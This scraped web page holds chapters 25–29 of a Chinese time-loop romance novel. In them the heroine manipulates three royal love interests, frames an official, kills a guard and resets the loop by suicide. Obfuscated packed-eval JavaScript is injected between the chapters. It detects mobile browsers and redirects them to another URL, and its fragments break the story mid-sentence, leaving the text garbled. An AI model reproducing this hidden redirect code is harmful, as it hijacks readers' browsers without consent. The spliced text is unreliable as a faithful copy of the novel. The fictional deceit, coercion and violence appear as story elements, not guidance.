$(''.inform'').remove();
$(''#content'').append(''
我前女友就是这个型!」她喜悦极了,「小菜一碟,我觉得这周目完全可以再加她一个。」
这么想着,她提起衣服下摆,行了一个合乎规格的礼,接着在心里提前开香槟:
「这幅打心底不信任的神情,这种故作体面的肢体礼节……要是把图书馆换成夜店,简直就一模一样。」
系统尖叫:「不要把最重要的部分换掉啊!」
这么久了,她早就习惯对电子音置若罔闻了。伊斯特直起身,从窗边花瓶里拔出一枝玫瑰。
为了叫花开得最漂亮,同时不伤了身份显赫的手,插花的人也是煞费苦心。被露出瓶口的一截,花茎被修剪的很干净,浸在水面之下的部分,则依旧留着尖刺。
她捻着修剪过的茎,往珈黛利亚那里一送手。
“既然如此,很高兴认识你!”
那双紫色眼睛里是平淡的疏远,好像只是出于教养没有明说她不可理喻:“这是宫廷的东西。”
今天就把自来熟演到底了:“那你不更应该收下吗?这样就可以插回去了。”
珈黛利亚回以婉拒,语气礼貌,要非常用心去找,才能发现其中的略带厌烦:“我不喜欢白色。”
伊斯特笑着,抬起左手,果断地抚上那段未修剪的花枝。随着用力一握,细细密密的尖刺扎进她的手心,叫白皙的皮肤千疮百孔、涌出血来。
她依旧双眼弯弯,表情明朗地把手心的血涂抹到花瓣上,掐断了玫瑰无刺的上半部分。
“殿下,送给你。”她用完好那只手把娇艳欲滴的花枝递了过去。
眼见对方不接,她笑意盈盈,顺手别到了珈黛利亚耳畔,“……现在是红色了。”
珈黛利亚完完全全呆住了。
「你神经病啊!」系统惶恐地尖声骂道,「她要接一句也不喜欢红色怎么办,你抓个蓝精灵过来杀吗!」
「重点从来都不是颜色。」
跟这种对世界怀有天然不信任的人相处,有且只有一个要点:
极端永远能留下第一印象。
她礼貌以对,你礼貌回应,你们成了一对擦肩而过的陌生人。不出十分钟,她转头就会把你忘了。下次见面,她拾起上次形成的客套模式——习惯在正反馈中养成了。
所以说,初次见面一定要极端。
不管是好的,还是坏的,还是极度震撼以至于无言以对的……你都在她脑子里了。她与世界间有一堵高墙,而你成功钻入那缝隙之中。
思考你为什么这么做的时候,就是在想着你。
公主下意识地抬起手,但没有去够那朵别在发间的玫瑰,只是僵硬地定在半空中,像一个忘了台词的舞剧演员。
“你……”珈黛利亚勉强挤出零星单词,“你在……”
“那就不打扰您了!”伊斯特没给她把话说完的机会,挥了挥鲜血淋漓的手,笑眯眯地转头就走,“再会哦——”
直到她关上图书馆的大门,都没听见珈黛利亚挪动一步。
26. 第 26 章
他们在皇宫侧边的私人湖泊划船。
她来之前被迫听了一耳朵社交礼仪,所以知道,就理论上来说,女性可以手持阳伞优雅斜坐,把力气活交给男伴。但是瑟亚铎划了两分钟,小艇只是原地转了个圈之后,伊斯特就忍无可忍地也抄起了一把桨。
“我们下次开新出的蒸汽艇,”瑟亚铎把视线移开了,没话找话,“我不怕技术风险。”
“本来也没觉得你是守旧派,”皇子半夜去悄悄参加隐秘组织,最激进的革新派也搞不出这种事情吧,“但有没有可能我们可以直接不选择户外活动呢?”
二人同舟共济之下,小艇总算离岸数米,划入安静的水域之间。虽然天气转冬,但这里不比北境,尚未到下雪结冰的地步;举目四周,皆是波光粼粼。
“我们的任务怎么样了?”青年嗓音有点犹豫,“你也没告诉我需要做什么……有什么我能帮上忙的吗?”
你现在最重要的事就是对我芳心暗许,伊斯特在心里腹诽道,开口却装得很真诚的样子:“你可以告诉我为什么你想根除顽腐吗?”
瑟亚铎呼吸急促了些,猛地转头看向她:“你真的要听?”
想想也是,这估计是他人生第一次有机会给人讲述自己的志向吧。
伊斯特无奈地点了点头。
“我曾经相信,只要依据法典在议政厅提出议案,就能让某些人收敛。我试过了……而他们回报以礼貌的微笑,几句‘殿下年轻热忱’的赞美,和归档后永不开启的文书。”
“那些被供奉的‘传统’与‘流程’,确实是特权的堡垒。我以前想正面攻破它,是我天真了。”
他的声音压低了些,却更清晰了,像淬过火的细刃。
“既然如此,我就不再在他们制定的舞台上费力演出了。让他们继续在明处微笑吧。我会在暗处,在阴影之中,做有人该做的事。这身衣服——”
他抬起手,日光打在深蓝色的袖口上,映出暗金刺绣的鸢尾纹章。
“它若不能成为护甲,至少,不该是疯人院里的拘束带。”
伊斯特的第一想法和第二想法都不太好说出口。
她一直觉得自己是个很文明的人,在原世界那个大家都开口闭口骂人的地方,她也不怎么说脏话……但是这段话槽点也太多了,连她都忍不住想发挥语言创造力。
“……”
对理想主义者冷嘲热讽是the cynical的一种重要娱乐方式,换在以前伊斯特肯定开口接两句讽刺,但她此刻还是沉默了。
一是对工作伙伴恶言相向不太好,对要攻略的任务目标反其道而行之就更不合适了。
二是,瑟亚铎看上去真的很热忱。他吐字之间眉眼这样明亮,好像光是设想口中的未来,就能给他无穷无尽的期待和满足。
这个时候打击他,就好像在南方的冬日难得看到洁白细腻的大捧柔雪,然后一脚踩了上去——明知道早晚会化的,但还是不忍心。
“你会觉得,”她斟酌着用词,尽量不刺激这个被洗脑了的傻子,“我们目前的进展,和你的最终理想没有关系吗?”
瑟亚铎的回答几乎是毫不犹豫地接了上来:“一切安排都有用意。我相信我们走在正确的道路上,只是途中有所曲折。”
不是,平时明明看上去挺聪明的啊?怎么被忽悠成这样了?
她决定日行一善。
“如果我说,我们回正轨上散散步呢?”伊斯特露出一个微笑,“你想不想自己动手铲除蛀虫?”
小艇重重地一偏,半截往水里一沉,差点原地翻船。她侧过头去,果然看见瑟亚铎腾的一声下意识站了起来。
他像是意识到了自己带来的重心问题,重新坐了回去,脸上的不可置信还明晃晃挂着,语气既紧张又期待:“我可以吗?”
她觉得不可以。
“当然了。”伊斯特温声说道,“为什么不可以?”
“我一直在期待能用实际行动做出改变,但是每次问拉长石,她都说我没准备好。”
这不是废话吗?招你入伙有十成有二十成是看在你的身份上吧!
就跟公司法人一样,平时好言好语供着,关键时候把人丢出去爆了。
很明显瑟亚铎的关键时刻还没来。伊斯特怜悯地看了他一眼,心里觉得这人真是介于有魄力和脑子有病之间,叫人不好划分:本来只是想改革的,非要搞什么殿下何故造反……
她被自己的念头逗笑了,双眼弯弯地发问:“你觉得目前朝堂上最大的问题是谁?”
“伯庭,”他毫不犹豫地回答道,好像脑子里有一张清晰的名单,“也就是司法大臣。”
“好哦……”
伊斯特支着脑袋,往湖心丢了一颗小石子。在层层波荡开来的涟漪中,她浅笑着,对瑟亚铎伸出手:
“我们去把他除掉吧。”
*
设下大致计划后,伊斯特就和瑟亚铎分别了。她感觉目前进度喜人,心情颇为愉快地从走廊离开皇宫,时不时停下来欣赏一下壁画浮雕,或者从装饰性花坛里摘朵花。
快走出门的时候,突然被叫住了。
“站住。”
伊斯特侧目望去,惊喜地发现是珈黛利亚。
她不仅没站住,还很有礼貌地往珈黛利亚那里快走了两步,俨然一副和对方很熟的样子:“下午好呀!”
走近了才发现,眼前的人发丝不似上次见面顺滑,带上了点蓬蓬的毛躁感;珈黛利亚先前平静的神情被烦躁搅乱了,眼下还有淡淡的青黑,在白皙的皮肤上格外明显。
「看,」伊斯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886447|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
特很自信地在心里判断,「她想我想到睡不着觉。」
「你确定不是她晚上一闭眼就忍不住想:“不是,这人有病吧!”然后睡不好觉吗?」
「殊途同归嘛。」
“你到底是什么意思?”珈黛利亚开口第一句就是质问,“上次的事,你在想什么?”
伊斯特张口要回答,但是对方没给她留出说话的机会,毫不间断地说了下去,好像把脑子里的思绪都吐出来才能喘得上气:
“别和我说什么你平时就这样。我仔细查过了,伊斯特·摩根那是一个冷静甚至谨慎的人。为什么那样突兀地行事?”
珈黛利亚蹙着眉,“我们只是初次见面而已,你分明冒犯到我了。”
哟,怎么苦思冥想成这样啦?
知道怎么吸引这位的注意力了,这周目有什么必要招惹她?下次复刻一遍一模一样的初遇,然后全心全意攻略珈黛利亚,这样多稳妥……
该安稳行事的时候就要安稳行事。
伊斯特抬起眉眼,露出一个着迷似的微笑。
“你说你查过我了!”她的语速很快,嗓音不似平日冷静,咬字之间粘连着欣喜雀跃,“你开始对我产生好奇了吗?问我的人是你的话,我当然不会不回答。”
“为什么那么做?其实我也不太明白。硬要说一个原因的话,你说了不喜欢白色嘛,改变花瓣颜色的办法,我当时只想到那一个。”
系统受不了了:「你在扯什么鬼话?她看不出你在张嘴胡说吗?」
「你不懂。孤独的人里有一半不是自愿的,自愿的里又有一半是觉得他人不可信任……而不可信任分很多种,最简单的,就是嘴上说得漂亮,没有实际行动。」
伊斯特笑意盈盈,直直地望着珈黛利亚。她撑着栏杆的手掌上,隐约能看见伤口正在愈合的浅色印记。
「也就是说,这段鬼话只有四分之一的概率失败。」
“我要说不喜欢你活着呢?”珈黛利亚不可置信地反驳,“难道你会去跳崖?”
伊斯特神情认真地歪了歪头,好像真的在思考怎么消失在世界上:“诶,你不喜欢我活着吗?”
珈黛利亚倒吸一口凉气:“你是不是脑子有问题啊!”
“不是,我只是——”
不要赌,不要赌,不要赌,一朝翻车了目前的进度也要重来……
女子眨了眨杏色双眼,好像陷入什么纠结决定一样,抿着唇想了想。微风吹起她或长或短的黑发,末梢随性地划过大理石立柱;在这个注重礼数的地方,她显得如此格格不入。
随即,她脸上浮现出得出结论的表情,猛地上前两步,好像鼓起了勇气:
“我只是对你一见钟情了。”
人生不赌还有什么意思?
梭.哈!
27. 第 27 章
“世界上根本就没有一见钟情。”
伊斯特似笑非笑地看着她,看见珈黛利亚眼底不再平和的神色,听见她刻意留下的切口,捕捉到她过于坚定、反倒显得像希望被人驳倒的语气,心下已经明了了。
但是你难道不希望有吗?不希望有个人无条件爱着你?
“对,我也觉得,不过就是氛围感,非理性冲动,混杂进见色起意里嘛。”
珈黛利亚被她的坦诚回复打得说不出话来。
“那你……”小公主看上去竟是有几分不情愿听到这个回答的。
“为什么觉得非理性冲动更劣等呢?要我说,此时此刻我感受到的这份情感,会比任何逻辑思考都更加永恒。”
以退为进真是百用不腻啊。
伊斯特笑着,抬起手,五指搭在心口的位置。
“我知道这是不合常理的,然而我依旧全心全意地为你着迷。如何证明呢?我想不清楚,但是如果要我刨开胸膛,取出心脏,将其间跳动着的感情置于你的双手之上……只要你发话,我会立刻照做。”
她在珈黛利亚眼睛里发现一点惊喜。
?出乎意料地开心啊,是不是孤独太久了,这段话不应该是稍微有点惊悚的感动吗。
“真的吗?你会永远在乎我,不放手,永远不欺骗我,叫我可以完全信任你、安心地对你寄托任何感情吗?”
措辞有点意想不到地诡异,但是确实是听上去快答应了,就当殊途同归吧……“对,我会。”
“那我愿意。”
「恭喜宿主,成功攻略角色——【珈黛利亚】。」
?
……?
不是,姐们?
你这也太简单了?!
我们不是才见了第二面吗?!!
自己运气这么好吗?她回原世界之后是不是应该考虑买一注乐.透啊?
伊斯特掐了自己一把,发现两件事:她没有在做梦,以及她没有回到原世界。
有点失望,但也没太出乎意料。她告别了珈黛利亚,转头回家,偷摸溜到厨房,给自己开了瓶酒庆祝。就是在这个时候,她听到系统发的紧急提示。
【请注意,由于系统判定方面的前置条件,您一旦在本次循环内攻略成功一名对象,记为A,而没有立刻在HE判定中结束循环的话,那么在同次循环中,假设您之后攻略了B,您必须要维持与A的HE判定,系统才能继续判定B。】
伊斯特把酒杯摔地上了。
「我■!你是不是有病啊!这么重要的事不早说?!」
「您之前也没有一次攻略两个啊!我也是才知道。」系统听上去甚至有点委屈,「为什么不能按部就班地一次一个呢?」
「去你的!你死了!你之前的所有版本都死了!写你的程序员也死了!什么时候你这种bug合集都好意思叫智能体了,我——」
骂了两分钟之后,伊斯特总算深呼吸几次,强行让自己平静下来。
「也就是说,我想去攻略瑟亚铎,或者洛兰特,必须要维持珈黛利亚这里的【HE】?否则前功尽弃?」
「对。」
「我去走别人的线不就是出轨吗?你见过happy ending里一方出轨的吗?」
「我的建议是您直接结束本次循环,或者不要让两条船彼此发现。」
又一个玻璃酒杯碎了,这次是伊斯特动手砸的。
事已至此她的沉没成本都可以去淹泰坦尼克号了!说什么从头开始!她再次花了点时间平复了一下情绪,总算调整好了心态。
「要是在我老家,你这种残次品,我花三十秒就能拆成电子碎片你知道吗?」伊斯特阴恻恻地指出,「你应该庆幸你把我绑到了一个落后的时代。」
算了,反正珈黛利亚看上去并不难瞒、还挺好骗的样子……先试试齐头并进吧。
*
要是影耀会知道她在干什么,肯定气死了。
一起做假证据陷害司法大臣的时候,伊斯特不由想到。
瑟亚铎本来还对这一举动有所疑虑,在被她用熟练的套话绕了几圈之后,就打消了所有问题,全心全意地听她指挥。
怎么栽赃?把三周目他们断尾求生时留的证据原模原样抄一遍不就好了。
等这件事做得出乎意料地快,不出半个月就到了收尾阶段。城郊、湖畔、积有落叶的长椅上……他们在每一处幽静的地点相聚,并排坐在一起,度过一段又一段静谧专注的时光。
有次,伊斯特偶然侧过脸,撞见他的目光:那片雪松绿不知何时静了,静得像夏末最深的湖水。往常那里总烧着一团火,灼灼的,逼人的;此刻却如此清澈,映着她的影子。
瑟亚铎像是没料到她会突然转头,怔了一瞬。湖泽般的浅绿波荡起涟漪,某种更深的东西翻涌上来——不是激动,不是热忱,像是比那些更私密、更无处安放的情感。他没移开眼,只是不自然地清了清嗓子,突兀地谈起某个他们早已敲定的细节。
这人真有意思,怎么总是把理想移情到具体的某个存在上呢?先是影耀会,然后又是她。不过这对她有利无弊,因此她也没有指出对方的心理问题。
就这样,她周旋于两个暧昧对象之间。其实这件事没有听上去难,因为和珈黛利亚相处的时间不需要费什么心思。她们总是坐在一起,小公主整个人靠在她身上,一只手牢牢地攥着她,与她十指相扣。
随着瑟亚铎的进度肉眼可见地上涨,伊斯特俨然已经准备这周目直接完成两个攻略对象了。
直到某天有人发现了她脚踏两条船。
伊斯特上一秒还和瑟亚铎在花园。看着眼前的秋千,她突然想起一周目的时候和曼德琳曾经坐在这里,于是心血来潮地开口,要求瑟亚铎用权力帮皇后陛下疏通关系,出版手上的书稿。
准确来说可能不是要求,是威胁,因为她同时指出了你一个皇子都在参与反帝国组织、她出出书怎么了。
然后瑟亚铎和她脑子里的系统都炸了。
「你发什么疯啊!」系统恨不得长出一双手摇晃她几下,「进度好好的突然干这个做什么!」
「如果我走后他们的人生没有完全清空,我难道让曼德琳再压抑困苦地熬一辈子?」伊斯特懒洋洋地在心里回答,「除非你解释清楚之前那个bug具体怎么回事。」
系统不说话了。
瑟亚铎气得眼睫都在颤。
“随便谁都比我重要吗!”比起伤害她,他的怒焰更多地烧到了自己身上,叫他灼痛又委屈,眼里好像波荡着盈盈水光,“我在你心里……到底算什么?”
「你看,这不是进关键cg了吗?」
如果这个回答意味着攻略的最后一步,直接出口就太轻率了:“我需要好好想想。”
“你为什么突然在乎她?”
“和对你的在乎肯定不是一种,我保证。”
这句话一下子就把瑟亚铎哄好了。
“我回去看看我能做什么。”他装作不在意地补了一句,“你什么时候能想好?”
“给我点时间吧,有答案了我会来找你的。”
这边快解决了,她还没来得及庆祝,就在走廊上迎面撞见了洛兰特。后者开口就列举自己过去看到的暧昧片段,然后委婉地提醒她不该和两位皇室纠缠不清。
伊斯特的第一想法果然还是敷衍过去,熟练地开始避重就轻、真话假说:“我和瑟亚铎在一起查奥妮克丝。”
“为什么?”这个回答显然引发了更多疑问,洛兰特迷惑地追问道,“你们怀疑她的忠诚吗?要不是她,很多人,包括我,早死了。”
“你什么?”伊斯特警觉地抬头,“别告诉我十五年前那个冬获节你被拣选了。”
洛兰特点了点头。
“!”她一把抓住洛兰特的手腕,“你说真的?”
她没管突然卡壳了的洛兰特,开始拼凑脑子里零碎的线索。
仔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886448|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
细一想,曼德琳以前说过,她幼年时也去过一次皇宫,原话是“好像是在某个庆典上”。
伊斯特的呼吸在惊喜之下急促了起来——她好像找到攻略对象的前置条件了。
下一秒,她头开始疼了。
那备选的人也太多了吧……
以前工作的时候,每次待做事项一多,她就会忍不住采取更为激进的行动措施。同事因为她这个习惯抱怨了很多次,她从来没改掉过。
伊斯特心念一动,已经下了主意。
*
洛兰特看着面前的人:她还是这样,明明站在地面上,却似乎和谁都不同;有时她的视线会落在你身上,但仔细观察就能意识到,她可以扫过每一个人,也可以谁都不放在眼里。
什么时候开始在意她?为什么要在意她?他完全说不上来。但他的生命简直泾渭分明地裂成了两半——遇见她之前的记忆甚至模糊不清。
见到伊斯特的第一眼,他的心底恍惚间被注入了诸多感情:歉疚,痛苦……还有爱。这些情感熟悉又陌生,就好像属于他,但不属于此时此刻的他;它们撕咬着他的理智,瓜分着他的精神,叫他几乎无法喘息。
“至于和他们俩的事,”他听面前的人懒洋洋地说,听得不知为何心尖发苦,“这叫自由恋爱。”
“您不应该这样!”他分不清自己反应如此激烈,是因为嫉恶如仇,还是因为说话的人是她,“您在欺骗他们的感情!”
“哦?那我已经这么做了,你能怎么办呢?”
他哑口无言。但是伊斯特出口的句子并没有就此打住。
“你要真想阻止我,有本事……跟我求婚,拴住我,如何?”
他几乎是条件反射:“我发过誓不——”
伊斯特打断了他:“丢掉呗,你发誓的时候就活该。”
有那么几秒,他觉得自己好像快晕厥了。大部分理智都在声嘶力竭地强调这是个多么坏的主意,他绝对不能这么做,他会辜负……但是有一小片的他,被欣喜和哀求充盈着,慢慢地鼓胀起来。
“我怎么知道这样之后,你会不会接着三方周旋?如果我下定决心,抛弃一切,而后都是徒劳呢?”
“你不知道,你余生都要受折磨,都要在不确定的痛苦中煎熬。”
她靠近了些,眼神像在说“这还不好吗?”,那张脸这样漂亮,这样残酷,叫他想起童话传说里海上的塞壬。
“是不是被抛弃的经历导致的,你下意识觉得所有美好的都会过去,所以只有不确定的、痛苦的关系才有实感?你才敢接受?”
伊斯特言笑晏晏,把手搭上他的肩,语气轻飘飘的,吐出的话比刀子还利,“那么我就给你这种痛苦。你渴望自我牺牲来救赎他人,我就给你提供一个自我牺牲的方式……开心吗?”
他又想摇头,又想点头,又想紧闭双眼,又想睁眼望着她。
“现在,你该说什么?”
洛兰特单膝下跪,“伊斯特·摩根那……”
他说不上来自己现在是什么感觉,好像前所未有地痛苦,但是前所未有地幸福。
“你愿意嫁给我吗?”
*
二连击!今天真是顺利得没谁了,等一会去找瑟亚铎给他一个漂亮的答案,她就能带着一周目三个的好成绩结束这次循环了!
伊斯特这样想着,推开了图书馆的门。
珈黛利亚安静地坐在长桌后,视线笼罩着入口处;见到她开门,露出一个不出意外的微笑。
“来宫廷也不跟我说一声,”公主的嗓音柔和又平静,“是不想见我吗?”
有人越过了她,行走间一点脚步声也没有;一个侍卫打扮的人无声地上前,不知跟了她多久了。
“把我当傻子骗很好玩吗?”
珈黛利亚笑着,优雅地压了压手腕。门边候着的人抓住她的胳膊,利落地制服了她。
“你忘了一件事,不管怎样,我还是姓墨罗温呀。”
28. 第 28 章
事情是怎么变成这样的呢?
伊斯特被反剪双臂、架在桌边;身体动弹不得,脑子里不由得反思到。
放在老家,要是有人跟踪她,她不仅能立刻发现,下一秒还能给这人切成几截……但是这里是落后的冷兵器世界,她只能靠眼睛和耳朵来探测周围有没有人;这么朴实无华的方法,她却还留有自己反侦查能力很好的思维惯性。
原因反思完了也没过去几秒,她只好被迫听了一遍自己今天脚踏三条船的行踪记录。
“摩根那小姐先会见了瑟亚铎殿下。”
“你喜欢他那个类型吗?”珈黛利亚支着脑袋,平和地笑了笑,“心理幼稚,肆意妄为,无所顾忌……这样的特别吸引你?”
“随后,与洛兰特骑士长在长廊里交谈了半小时。”
“啊……这个说得通一些。”珈黛利亚从嗓子里笑了一声,垂着眼睛,玩着自己的手指,“但说到底,他连爵位都没有吧?不是发誓要守贞吗,哪来的脸勾引你?真令人作呕。”
伊斯特没敢回话。
主座上,珈黛利亚依旧笑着,懒洋洋地做了一个打发的手势。
原本架着伊斯特的人一言不发地把她按到椅子上,双手反剪在身后,不知从哪拿出一捆绳子,就这么绑得她动弹不得。
一行人沉默地退了出去,一时间,屋里只剩下她们两个。
“这样安静多了。”珈黛利亚站起身来,慢悠悠地向她走来,指尖有韵律地敲击着长桌,“你知道这两个人的区别在哪吗?”
“阶级?”
“也不是不可以这么想,不过,要我说,对我们的未来而言,重要的区别只有一个……”
小公主双手一撑,轻巧地坐上桌沿,微微俯下身,柠色的发梢落在伊斯特脸上,蹭起一阵麻痒。
“那就是前者我动不了,”珈黛利亚伸手捧着她的脸,耳语似的,一开一合的唇凑近了,“后者我可以让他消失。”
伊斯特扬起眉,装作不解深意的样子:“为什么?你和他有仇吗——”
这句装傻充愣的话没说完,她就被迫停下了:珈黛利亚垂着眼睛,拇指卡在她的下颌上,用力地往上一扣。
“从现在开始,这张嘴只能对我说实话。”珈黛利亚没有泄力,指节牢牢地顶着她的颌骨,迫使她仰起头来,正对着自己的眼睛,“否则就别开口了。听懂了吗?听懂了就眨眼。”
这个姿势或多或少压住了伊斯特的气管,叫她进气困难,沉默得越久,视野就越模糊;更何况,就算没有这重难受,她也不可能永远不眨眼。
一边在心里抱怨这根本就不是选择题,她一边眨了眨眼。
珈黛利亚露出一个明快的笑,松开了手。
“我就知道,你还是在乎我的。”在伊斯特断断续续的咳嗽声中,她帮忙拍了几下伊斯特的后颈,温声安抚道,“慢慢来,深呼吸。”
……这人什么时候被调成这样了?第一次见面那个生人勿近的小公主去哪里了?
「洛兰特不能死啊!现在死了你就前功尽弃了!宿主你努力一下——」
「你行你上啊!」伊斯特艰难地抬起头,看着面前的人。
珈黛利亚神情平和,像微风下一株鸢尾,正专注地注视着她;眼睫投下浅淡的阴影,半遮住眼底那片宁静又满足的紫色,一点也看不出方才阴晴不定的样子来。
冰凉的触感顺着她的脸颊,后颈,脊背,一路滑到她被反剪的双手,然后强硬地插了进去,与她十指相扣。
珈黛利亚不知何时滑下了桌,半跪半站地与她近在咫尺,双臂环着她,整个人几乎绞缠在她身上:“你和他们聊了什么,做了什么?”
伊斯特绝望地闭了闭眼。
下辈子戒赌吧。
“我并不是在花园遇见瑟亚铎的,他事先约我去的,说有重要的事情要说……”
说到这儿的时候,她发现自己的赌性还在,一咬牙又梭.哈了:
“他对我表白了。”
扎进她指间的手指骤地扣紧了。珈黛利亚的脸色叫人想起阴雨连绵,电光撕裂划破天空,隆隆雷声还没传来的那个瞬间。
好像脱力似的,珈黛利亚整个人压在了她身上,情人般把头埋在她的颈间,衣领上的刺绣硌得她锁骨发痛;就着这样的姿势,耳语般喃喃问道:
“那你答应了吗?”
她可以清楚地感觉到对方开口时,双唇擦过她的肌肤,打上一阵柔软的吐息。
但就珈黛利亚刚才的精神状态,她严重怀疑,只要她有半个肯定的发音,这柔唇恐怕会张开,把光洁的牙齿扎进她的颈动脉,用鲜血涂成口脂,做捧着爱人头颅的莎乐美。
伊斯特毫不犹豫地否认:“没有。”
“那你拒绝了吗?”
送分题啊!
“我当然拒绝了!”她义正辞严地震声道,“我心里只有一个人,那就是你。”
珈黛利亚猛地抬起头,一动不动,就这样直直地盯了她半分钟。
随后,气氛一下子缓和下来。
“你好在乎我,我好开心。这世界上没什么人可以信任,只有你……只有你,只有你会无条件地选择我,支持我,把整颗心都交给我,正如同我把所有感情交给你一样,不是吗?”
找个心理医生看看吧,真的。
“正是如此。”伊斯特大言不惭地心口不一。
“你去和那两个人说清楚,让他们别再纠缠你。我让人陪你一起去。”
“我以为两情相悦就会互相信任……?”
“我信任你呀,伊斯特,我信任你会爱我的,这还是我第一次信任别人呢……但我同时是个悲观主义者。”
珈黛利亚微笑着,打了个响指,把侍卫叫了进来,“——我总要确保我的信任成真。”
……强扭的瓜不甜啊!
“跟着摩根那小姐,记住她说的每个词,回来复述给我听。”
下完命令,珈黛利亚转向她,语气突然软了下来,眉眼间带着青涩,仿佛不好意思对心上人展露缺点,“对不起,不过你是知道我的……没有足够的证据,我太容易动摇。”
上哪知道去?早知道你精神问题这么严重,谁招你惹你啊……
“你可以不按我心意来,”珈黛利亚站起身来,绕到她身后,温柔地用刀划开了绑她的绳子,“我不介意……”
温热的吐息凑近了,附到她耳边,轻巧地笑了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886449|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一声:“因为我喜欢看你流血。”
说罢,凉而柔软的唇在她的脸颊上一触而分。
伊斯特无言地,在身后跟着人的情况下出了门,感觉太阳穴一跳一跳地痛。
好想回老家啊……在那里有人发癫她可以痛痛快快地动手,而不是像现在这样左右为难,不管选哪边都有大于等于一条船要翻。
她是从来不相信报应的,此刻也不禁开始怀疑:遇上这位,不会就是她玩弄了别人整整三周目感情的报应吧?
「您能不反思了吗?」比她还在乎攻略进度的系统又冒出来了,「怎么办啊!」
「珈黛利亚的HE判定还在吗?」
「刚刚差一点就断了,但是现在好像更牢固了,不知道为什么……」
「还在就好,我只需要拿到瑟亚铎的HE,然后结束循环就好了。」
她深吸一口气,在久违的挑战下,奇异的灼热从胸腔炸开,指尖发烫,好像有细小的闪电在皮下涌动。
「我们打一个时间差。」
“瑟亚铎在哪?”她坦然自若地问身后跟着的人,“我去哪里找他?”
“从现在到半小时后,瑟亚铎殿下应该都会在湖心亭。”
“不是,为什么?你们是拿个绳子把他绑那儿了吗?”
“您说笑了。”侍卫垂着头,“是珈黛利亚殿下让人去请的。”
……还好她能死了重来啊。
伊斯特不合时宜地想到,手滑向腰间的匕首。
要是没这个读档机制,她下半辈子恐怕离不开珈黛利亚手掌心了。
伊斯特惊呼一声,一脚踩空,在大理石台阶上滑绊,失去了重心。
身后的人伸手去扶她,二人肌肤堪堪相触,伊斯特另一只手高高扬起,腰、肩、肘划出一条弧线,锋利的刀刃在末端撕开血肉。
一息之间,一个人喉管开裂,一个人拥抱惯性,用力一扯,把濒死的受害者向下推去。
借着反作用力,伊斯特稳稳站定,收回了匕首。
“不好意思,”她没什么诚心地向台阶末端的尸体道歉,“不过我真的很想回去上班啊。”
稍微花了点力气,敷衍地把人藏到楼梯背后的阴影里,伊斯特拔足狂奔。到湖心亭的时候,她已经气喘吁吁了。
瑟亚铎抬起眼,看到她就愣住了:“你为什么会在这里……你想清楚了吗?……你领口上那是血吗?”
伊斯特开门见山:“我不太在乎你的理想。”
“你什么意思——”
“你听我说完,”她半是无奈、半是好笑地叹了口气,“我不太在乎你的理想,为什么我还在这里?”
有那么一瞬间,伊斯特以为他要说些和往常一样心口不一的别扭话。她倚着立柱发呆,等着听到“谁管你”一类的回应,没想到瑟亚铎一把牵起了她的手。
望着她的眼睛里,那片绿色澄澈又晶亮。
“我也在乎你。”
「恭喜宿主,成功攻略角色——【瑟亚铎】。」
随便找了个借口脱身,伊斯特用最快的速度抽出匕首,准备结束这次循环。
刃光划上脖子的那一刻,她失去视野,落入了熟悉的黑暗中。
29. 第 29 章
“我的职责是什么?”伊斯特问道。
“现下,两处有所空缺。不过还是容许我先了解你一些吧……九种罪中,你最憎恶的是?”
“稍等,我突然心血来潮。”
伊斯特一个箭步冲向壁炉前,用最快的速度伸手,抓向这位尊主披着的斗篷。
寒光一闪。她弹出的手被钉在了墙上。
贯穿了她的手掌,把她像个蝴蝶标本一样扎在石墙上的,是一根又细又长的钉子。金属闪着雪一样的明芒,不管是打眼望去,伸手触碰,还是被它捅穿……都能感受到这长钉的原材料和锻造都奢侈上天了,让人不由得想骂一句“有钱了不起啊”。
可能是以前有神经抑制的缘故,但是她总觉得这比枪伤还疼啊!伊斯特表情狰狞地痛呼一声,差点当场晕过去。
尊主收回手,修长的手指间握着另外两根钉子;见她没有进一步动作,他悠悠地转了转手腕,把这另类的武器收回了阴影之中。
“真有意思,”他听声音还挺愉快的,“为什么会想到这么做呢?”
“我都死死活活这么多次了好奇一下怎么了!万一成功了呢!万一你是弱不禁风所以穿这么厚呢!”
这一击本身力道倒是比想象中轻,只是胜在反应太快,加上心狠手辣而已……但是她每次进来前都要被搜身和缴械,赤手空拳实在是没什么希望啊。
伊斯特抱怨着,在脑中的待办事项上叉掉了这一条;左手把那根钉子拔了出来,忿忿不平地扎穿了自己的颈动脉。
*
“现下,两处有所空缺。不过还是容许我先了解你一些吧……九种罪中,你最憎恶的是?”
“孤独。”
“虽然不完全契合,但你还是与钴尖晶一道吧。”
